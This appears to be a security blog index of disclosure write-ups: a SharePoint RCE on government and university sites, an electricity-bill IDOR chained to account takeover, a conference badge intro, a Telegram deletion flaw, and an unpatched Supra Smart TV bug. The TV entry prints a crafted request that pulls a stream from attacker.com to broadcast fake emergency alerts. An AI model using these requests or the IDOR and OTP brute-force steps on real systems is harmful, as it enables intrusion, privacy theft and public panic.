Sharepoint RCE

Summary:
Few days ago I saw a post from alienvault which says attackers are still exploiting SharePoint vulnerability to attack middle east government organization. Having said that I found Income Tax Department India and MIT Sloan was also vulnerable to CVE-2019-0604 a remote code execution vulnerability which exists in Microsoft SharePoint. A malicious actor could exploit this vulnerability by simply sending a specially crafted SharePoint application package.

Technical analysis:
I found this vulnerability during my free time while I was browsing to ZoomEye to find such component. The application (incometaxindia.gov.in) was found to be vulnerable as it was using SharePoint as a technology to host its service. To verify this I've sent a crafted payload which enable the remote server (incometaxindia.gov.in) to perform a DNS lookup on my burp collaborator. You can do this manual by sending the crafted XML payload or via desharialize.

Aside, MIT Sloan School of Management was also found to be vulnerable with CVE-2019-0604.

Responsible Disclosure:
CERT-In (IncomeTaxIndia):
This was sent to CERT-In on Feb 12, 2020, got initial response by them on Feb 13, 2020. Post that the vulnerability was patch silently.
For MIT:
This was sent to MIT security team on Feb 13, 2020, got initial response by them on Feb 14, 2020. Post that the vulnerability was patch silently on Feb 15, 2020.

Read More

IDOR in Power Service

Summary
One of the India's leading power supply company named, Adani Power Limited  is the power business subsidiary of Indian conglomerate Adani Group. A subdomain was vulnerable to IDOR (Insecure Direct Object Reference) which could allow attackers to view bills of any users across India. The bill include details such as Name, Address, Bill Amount, Unit rate, Pervious bill details etc.

I found this vulnerability while using one of their service.

Vulnerable URL: https://iss.adanielectricity.com/VAS/ProcessDownloadPDF.jsp?TXTCANO=xxxxxxxxx

The parameter `TXTCANO` in the above URL contains 9 random digits which can be predicted, having said that, changing the value of that parameter can allow attackers to view bills of any other users. (Proof Of Concept)!

Chaining bugs - (Viewing Bills to Account Takeover)

If the users are not registered under Adani MyAccount. The bill obtained using the above method contains two important details
i.e. Account number and Meter Number using which an attacker could register users account to perform any fraudulent activity.

It was also observed that when you navigate to the registration page and provide the valid "Account Number" and "Meter Number" the MSISDN associate to that account is also disclosed. (Proof Of Concept)!

PS: The registration process sends an OTP to the mapped MSISDN but it was also identified that there is no rate limiting hence performing a brute-force attack would help attackers to find actual OTP or attackers could simply edit MSISDN and insert their own to get OTP.

Hence attacker now have personally identifiable information (PII) of end user i.e. Name, Address, Phone Number and other details in bill. Such information can aid attackers in conducting targeted attacks such as vishing, information gathering via SMS, attempting to steal payment information by impersonating the actual service provider via SMS or telephonic calls.

As per their about page there are 2.9 million users of Adani Electricity.

Timelines: The vulnerability was responsibly reported to Adani Electricity via group[.]csoc[at]adani[.]com on 9th Nov 2019 and was patched without any acknowledgement on 11th December 2019.

Read More

Hacktivity Badge

So, this year I presented my workshop on fuzzing in Hacktivity which is a two day conference in Budapest, Hungary & I had an amazing experience over there, I would personally endorse infosec geeks to be part of that conference.

Nevertheless, I came across the electronic badge which was provided to every attendee in that conference and here is the introductory part of how to get started with the badge.

The badge runs with the MicroPython on ESP32 (low-power microcontroller) so you can develop apps via MicroPython and once the application is ready, you can upload it to the Hatchery as an egg, and the badge will be able to download and run it.

Connect your badge via USB and run `lsusb` or something alternative of `lsusb` in this case I have used `usb-devices` which prints usb device details.

Further I used `dmseg` to list more details of the connected USB devices.



So this gives a name of the badge which would be helpfully to connect and interact further with the badge using screen.

$ screen /dev/ttyACM0 

Once you are connected a welcome message is shown,

After `Enter` is touch the badge would give you main menu and setting options the badge screen is small so moving forward we would be setting up the WiFi manually via cmdline.

Navigate to Settings --> WiFi and scan for networks, select your SSID and punch in the password.

Now, every time you start your badge or perform any activity which requires WiFi it will auto select the SSID which you configured above and that's how you download/install apps or upgrade the badge firmware.

With the help of MicroPython wiki page I understood different functions for MicroPython and wrote a simple program that displays your name on badge.

__init__.py

Register to Hatchery, then login and upload the above code to Hatchery under a category. In this case I uploaded this code under graphic category with the name  `input`. The below video PoC demonstrates that under Installer section you would have different category, select any one category which fetches the egg's from Hatchery select any one of the egg and the badge will install it.



Once install you can view the output under the badge screen, in this case the name was displayed you can view the badge here.
I've also managed to download the badge firmware which can be found here.

Reference: https://hacktivity.com/index.php/badge/

Read More

Telegram addresses another privacy issue

Summary: This is not a security vulnerability its a privacy issue. As I understand Telegram a messaging app focuses on privacy which has over 10,00,00,000+  downloads in Playstore. In this case, we are abusing a well-known feature of deleting messages, which allows users to delete messages sent by mistake or genuinely to any recipient. It was observed that once the message (image) is sent to the recipient, it still remains in the internal storage of the user which is located at  `/Telegram/Telegram Images/`path.

Technical analysis: I found this bug when I was researching about Telegram and MTProto protocol. To demonstrate this bug let's assume two people here, Bob and Alice.

Assume a scenario where Bob sends a message which is a confidential image and was mistakenly sent to Alice, Bob proceeds to utilize a feature of Telegram known as "Also delete for Alice" which would essentially delete the message for Alice. Apparently, this feature does not work as intended, as Alice would still be able to see the image stored under `/Telegram/Telegram Images/` folder, concluding that the feature only deletes the image from the chat window.

The highlighted issue is valid when we talk about Telegram "supergroups" as well, assume a case wherein you're a part of a group with 2,000,00 members and you accidentally share a media file not meant to be shared in that particular group and proceed to delete, by checking "delete for all members" present in the group. You're relying on a functionality that is broken since your file would still be present in storage for all users.
Aside from this, I found that since Telegram takes `read/write/modify` permission of the USB storage which technically means the confidential photo should have been deleted from Alice's device or storage.

Comparison: A compete, app for Telegram which is WhatsApp also has the same feature to "Delete for everyone". If you perform the following steps mentioned above in WhatsApp it deletes the confidential photo from Alice's `/Whatsapp/Whatsapp Media/Whatsapp Images/` folder and maintains the privacy however Telegram fails. WhatsApp takes the same permission when it comes to storage which is `read/write/modify`.

This issue could have a bigger impact and I am not sure how far this was in place; the word privacy of Telegram fails here again, and users trust against the Telegram is at risk.

Video PoC:



Affected version: I have tried this with the latest stable version (5.10.0 (1684)) of Telegram for Android. I haven't tried this with Telegram for iOS and Telegram for Windows but assuming this issue would exist on other these platforms.

Responsible disclosure: I submitted this to Telegram sec-team via security[at]telegram[dot]org and a fix was pushed in the latest version of Telegram 5.11. Also €2,500 was awarded by Telegram.

Other Workaround: The alternative solution would be to utilize the feature of "New Secret Chat" in Telegram where no such traces are left.

References: Picture used above credit and source[1]. Download the PDF version of this article[2]. Later CVE-2019-16248 was assigned to this issue.

Read More

Hacking Smart TV

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL function, which allows a local attacker to broadcast fake video without any authentication via a /remote/media_control?action=setUri&uri=URI



Technical Observation: 
We are abusing `openLiveURL()` which allows a local attacker to broadcast video on supra smart cloud TV. I found this vulnerability initially by source code review and then by crawling the application and reading every request helped me to trigger this vulnerability.

Vulnerable code:

function openLiveTV(url)
{
$.get("/remote/media_control", {m_action:'setUri',m_uri:url,m_type:'video/*'},
function (data, textStatus){
if("success"==textStatus){
alert(textStatus);
}else
{
alert(textStatus);
}
});
}

Vulnerable request:

GET /remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
Host: 192.168.1.155
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use `curl -v -X GET` to send such request, typically this is an unauth remote file inclusion. An attacker could broadcast any video without any authentication, the worst case attacker could leverage this vulnerability to broadcast a fake emergency message (Scary right?)

Although, this is still unpatched because I didn't find any-way to contact the vendor. The above video PoC shows a successful demonstration of this attack where Mr.Steve Jobs speech is suddenly replaced with attacker fake "Emergency Alert Message" this may make end user panic.

Updating! Friday, June 28, 2019

I've created an MSF module for this vulnerability which broadcast video of Epic sax guy to the remote system.

Read More